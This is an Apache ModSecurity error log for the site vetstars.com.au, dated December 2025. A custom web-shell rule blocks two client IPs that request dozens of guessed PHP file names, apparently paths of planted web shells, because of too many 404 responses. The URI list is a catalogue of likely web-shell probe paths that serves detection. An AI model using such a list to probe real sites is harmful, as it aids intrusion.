[Wed Dec 17 04:16:40.068078 2025] [:error] [pid 34426:tid 34493] [client 135.235.159.29:54098] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aUG-KKQO2ouZ9o0DVKtF9gAAAFY"]
[Wed Dec 17 04:16:41.827936 2025] [:error] [pid 34427:tid 34515] [client 135.235.159.29:58422] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aUG-KQ2vx_KIcvPat8BXKgAAAJE"]
[Wed Dec 17 04:16:42.435990 2025] [:error] [pid 34425:tid 34436] [client 135.235.159.29:41080] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aUG-KnYomI61qeXluxnLcwAAAAE"]
[Wed Dec 17 04:22:13.432422 2025] [:error] [pid 34426:tid 34473] [client 13.74.149.244:10906] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aUG_daQO2ouZ9o0DVKtITgAAAEI"]
[Wed Dec 17 04:22:13.930158 2025] [:error] [pid 34425:tid 34445] [client 13.74.149.244:13415] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aUG_dXYomI61qeXluxnN8AAAAAo"]
[Wed Dec 17 04:22:14.428370 2025] [:error] [pid 34530:tid 34549] [client 13.74.149.244:2215] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aUG_dgI6Bygs2oJsrN0HtQAAANE"]
[Wed Dec 17 04:22:14.926386 2025] [:error] [pid 34530:tid 34542] [client 13.74.149.244:4972] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aUG_dgI6Bygs2oJsrN0HuwAAAMo"]
[Wed Dec 17 04:22:15.424272 2025] [:error] [pid 34425:tid 34451] [client 13.74.149.244:14865] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUG_d3YomI61qeXluxnN9AAAABA"]
[Wed Dec 17 04:22:15.921672 2025] [:error] [pid 34530:tid 34536] [client 13.74.149.244:9015] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUG_dwI6Bygs2oJsrN0HvwAAAMQ"]
[Wed Dec 17 04:22:16.421333 2025] [:error] [pid 34426:tid 34493] [client 13.74.149.244:14878] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUG_eKQO2ouZ9o0DVKtIUwAAAFY"]
[Wed Dec 17 04:22:16.922194 2025] [:error] [pid 34426:tid 34491] [client 13.74.149.244:1775] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUG_eKQO2ouZ9o0DVKtIVQAAAFQ"]
[Wed Dec 17 04:22:17.421353 2025] [:error] [pid 34426:tid 34492] [client 13.74.149.244:12815] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aUG_eaQO2ouZ9o0DVKtIVwAAAFU"]
[Wed Dec 17 04:22:17.919872 2025] [:error] [pid 34426:tid 34494] [client 13.74.149.244:13471] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aUG_eaQO2ouZ9o0DVKtIWQAAAFc"]
[Wed Dec 17 04:22:18.418702 2025] [:error] [pid 34425:tid 34440] [client 13.74.149.244:6283] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aUG_enYomI61qeXluxnN-QAAAAU"]
[Wed Dec 17 04:22:18.917648 2025] [:error] [pid 34530:tid 34544] [client 13.74.149.244:2124] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aUG_egI6Bygs2oJsrN0HxgAAAMw"]
[Wed Dec 17 04:22:19.415209 2025] [:error] [pid 34427:tid 34505] [client 13.74.149.244:1754] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUG_ew2vx_KIcvPat8BZ0wAAAIc"]
[Wed Dec 17 04:22:19.914463 2025] [:error] [pid 34425:tid 34443] [client 13.74.149.244:11616] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUG_e3YomI61qeXluxnN_QAAAAg"]
[Wed Dec 17 04:22:20.414009 2025] [:error] [pid 34530:tid 34547] [client 13.74.149.244:12805] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUG_fAI6Bygs2oJsrN0HyQAAAM8"]
[Wed Dec 17 04:22:20.912497 2025] [:error] [pid 34530:tid 34546] [client 13.74.149.244:2128] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUG_fAI6Bygs2oJsrN0HzQAAAM4"]
[Wed Dec 17 04:22:21.412856 2025] [:error] [pid 34530:tid 34545] [client 13.74.149.244:4967] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUG_fQI6Bygs2oJsrN0H0AAAAM0"]
[Wed Dec 17 04:22:21.911246 2025] [:error] [pid 34427:tid 34516] [client 13.74.149.244:4060] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUG_fQ2vx_KIcvPat8BZ1gAAAJI"]
[Wed Dec 17 04:22:22.421377 2025] [:error] [pid 34427:tid 34510] [client 13.74.149.244:15493] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUG_fg2vx_KIcvPat8BZ2QAAAIw"]
[Wed Dec 17 04:22:22.920116 2025] [:error] [pid 34530:tid 34534] [client 13.74.149.244:13472] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUG_fgI6Bygs2oJsrN0H1wAAAMI"]
[Wed Dec 17 04:22:23.425811 2025] [:error] [pid 34427:tid 34520] [client 13.74.149.244:12848] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aUG_fw2vx_KIcvPat8BZ3wAAAJY"]
[Wed Dec 17 04:22:23.924587 2025] [:error] [pid 34427:tid 34522] [client 13.74.149.244:8700] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aUG_fw2vx_KIcvPat8BZ4wAAAJg"]
[Wed Dec 17 04:22:24.430647 2025] [:error] [pid 34425:tid 34436] [client 13.74.149.244:4047] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aUG_gHYomI61qeXluxnOAQAAAAE"]
[Wed Dec 17 04:22:24.929126 2025] [:error] [pid 34530:tid 34545] [client 13.74.149.244:12829] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aUG_gAI6Bygs2oJsrN0H3gAAAM0"]
[Wed Dec 17 04:22:25.439657 2025] [:error] [pid 34530:tid 34533] [client 13.74.149.244:4037] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aUG_gQI6Bygs2oJsrN0H4QAAAME"]
[Wed Dec 17 04:22:25.936890 2025] [:error] [pid 34425:tid 34447] [client 13.74.149.244:15438] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aUG_gXYomI61qeXluxnOBQAAAAw"]
[Wed Dec 17 04:22:26.437028 2025] [:error] [pid 34425:tid 34443] [client 13.74.149.244:8656] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aUG_gnYomI61qeXluxnOBgAAAAg"]
[Wed Dec 17 04:22:26.936158 2025] [:error] [pid 34426:tid 34492] [client 13.74.149.244:11139] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aUG_gqQO2ouZ9o0DVKtIYQAAAFU"]
[Wed Dec 17 04:22:27.443040 2025] [:error] [pid 34426:tid 34494] [client 13.74.149.244:1271] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scx.php7"] [unique_id "aUG_g6QO2ouZ9o0DVKtIYwAAAFc"]
[Wed Dec 17 04:22:27.941914 2025] [:error] [pid 34426:tid 34479] [client 13.74.149.244:15540] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scx.php7"] [unique_id "aUG_g6QO2ouZ9o0DVKtIZQAAAEg"]
[Wed Dec 17 04:22:28.440422 2025] [:error] [pid 34426:tid 34480] [client 13.74.149.244:6842] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scx.php7"] [unique_id "aUG_hKQO2ouZ9o0DVKtIaAAAAEk"]
[Wed Dec 17 04:22:28.939131 2025] [:error] [pid 34425:tid 34444] [client 13.74.149.244:2164] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scx.php7"] [unique_id "aUG_hHYomI61qeXluxnODwAAAAk"]
[Wed Dec 17 04:22:29.438085 2025] [:error] [pid 34426:tid 34477] [client 13.74.149.244:6829] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/siln.php"] [unique_id "aUG_haQO2ouZ9o0DVKtIawAAAEY"]
[Wed Dec 17 04:22:29.936694 2025] [:error] [pid 34530:tid 34550] [client 13.74.149.244:7037] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/siln.php"] [unique_id "aUG_hQI6Bygs2oJsrN0H6gAAANI"]
[Wed Dec 17 04:22:30.440269 2025] [:error] [pid 34530:tid 34541] [client 13.74.149.244:8649] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/siln.php"] [unique_id "aUG_hgI6Bygs2oJsrN0H7AAAAMk"]
[Wed Dec 17 04:22:30.955410 2025] [:error] [pid 34427:tid 34513] [client 13.74.149.244:15551] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/siln.php"] [unique_id "aUG_hg2vx_KIcvPat8BZ6QAAAI8"]
[Wed Dec 17 04:22:31.463062 2025] [:error] [pid 34530:tid 34547] [client 13.74.149.244:4946] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mtvcrew.php"] [unique_id "aUG_hwI6Bygs2oJsrN0H8gAAAM8"]
[Wed Dec 17 04:22:31.963645 2025] [:error] [pid 34425:tid 34447] [client 13.74.149.244:11614] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mtvcrew.php"] [unique_id "aUG_h3YomI61qeXluxnOEgAAAAw"]
[Wed Dec 17 04:22:32.461649 2025] [:error] [pid 34530:tid 34545] [client 13.74.149.244:7005] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mtvcrew.php"] [unique_id "aUG_iAI6Bygs2oJsrN0H9wAAAM0"]
[Wed Dec 17 04:22:32.961203 2025] [:error] [pid 34426:tid 34491] [client 13.74.149.244:11177] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mtvcrew.php"] [unique_id "aUG_iKQO2ouZ9o0DVKtIcgAAAFQ"]
[Wed Dec 17 04:22:33.459281 2025] [:error] [pid 34425:tid 34439] [client 13.74.149.244:7023] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aUG_iXYomI61qeXluxnOGQAAAAQ"]
[Wed Dec 17 04:22:33.967561 2025] [:error] [pid 34530:tid 34533] [client 13.74.149.244:15521] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aUG_iQI6Bygs2oJsrN0H-QAAAME"]
[Wed Dec 17 04:22:34.472718 2025] [:error] [pid 34425:tid 34435] [client 13.74.149.244:4937] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aUG_inYomI61qeXluxnOGwAAAAA"]
[Wed Dec 17 04:22:34.973993 2025] [:error] [pid 34530:tid 34538] [client 13.74.149.244:15505] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aUG_igI6Bygs2oJsrN0IAQAAAMY"]
[Wed Dec 17 04:22:35.475601 2025] [:error] [pid 34530:tid 34549] [client 13.74.149.244:15470] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raw.php"] [unique_id "aUG_iwI6Bygs2oJsrN0ICgAAANE"]
[Wed Dec 17 04:22:35.975000 2025] [:error] [pid 34530:tid 34544] [client 13.74.149.244:6817] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raw.php"] [unique_id "aUG_iwI6Bygs2oJsrN0IEgAAAMw"]
[Wed Dec 17 04:22:36.473323 2025] [:error] [pid 34426:tid 34476] [client 13.74.149.244:4549] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raw.php"] [unique_id "aUG_jKQO2ouZ9o0DVKtIeQAAAEU"]
[Wed Dec 17 04:22:36.971461 2025] [:error] [pid 34426:tid 34480] [client 13.74.149.244:13975] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raw.php"] [unique_id "aUG_jKQO2ouZ9o0DVKtIegAAAEk"]
[Wed Dec 17 04:22:37.470360 2025] [:error] [pid 34530:tid 34555] [client 13.74.149.244:1265] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/great.php"] [unique_id "aUG_jQI6Bygs2oJsrN0IGQAAANc"]
[Wed Dec 17 04:22:37.969730 2025] [:error] [pid 34426:tid 34484] [client 13.74.149.244:11157] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/great.php"] [unique_id "aUG_jaQO2ouZ9o0DVKtIfQAAAE0"]
[Wed Dec 17 04:22:38.468779 2025] [:error] [pid 34426:tid 34472] [client 13.74.149.244:6821] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/great.php"] [unique_id "aUG_jqQO2ouZ9o0DVKtIfwAAAEE"]
[Wed Dec 17 04:22:38.968251 2025] [:error] [pid 34427:tid 34507] [client 13.74.149.244:13453] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/great.php"] [unique_id "aUG_jg2vx_KIcvPat8BZ9wAAAIk"]
[Wed Dec 17 04:22:39.472142 2025] [:error] [pid 34427:tid 34504] [client 13.74.149.244:13452] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUG_jw2vx_KIcvPat8BZ-gAAAIY"]
